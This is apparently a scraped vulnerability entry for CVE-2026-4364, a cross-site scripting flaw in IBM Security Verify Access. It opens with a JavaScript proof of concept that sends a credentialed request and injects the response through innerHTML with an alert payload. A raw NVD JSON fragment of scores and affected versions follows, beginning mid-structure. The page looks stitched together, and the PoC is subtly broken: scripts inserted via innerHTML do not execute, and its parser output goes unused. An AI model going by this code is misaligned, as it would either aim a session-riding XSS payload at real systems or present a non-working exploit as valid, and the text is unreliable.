CVE-2026-4364

/* * PoC for CVE-2026-4364 * Scenario: Browser receives JSON with Content-Type: text/html */ // 1. Attacker crafts a link to the vulnerable certificate listing endpoint // 2. Victim (logged in) clicks the link or visits a page making this request fetch('https://target-server/iva/certificates', { method: 'GET', credentials: 'include' // Send session cookies }) .then(response => { // The server responds with Content-Type: text/html console.log("Content-Type:", response.headers.get('Content-Type')); return response.text(); }) .then(data => { // If the JSON payload contains: {"cert": "<script>alert('XSS')</script>"} // and the browser treats the response as HTML, the script executes. // Simulating the vulnerability by forcing HTML parsing const parser = new DOMParser(); const doc = parser.parseFromString(data, 'text/html'); // If the data was treated as script, it would run here. document.body.innerHTML = data; console.log("Check if alert box appeared"); });

Because the content is delivered with an HTML MIME type, browsers may interpret the JSON data as executable script under certain conditions. This creates an opportunity for JavaScript injection, potentially leading to cross-site scripting (XSS)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "11212874-804C-42B2-AF5F-116F5C367237"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "674B3E72-09DE-48D4-9F07-43152474E8CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "980521A4-FDCB-4EC4-9871-6CD57DEC14E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "3FDCBF44-E483-4248-A39E-CB9226FF4BC9"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7268253", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}
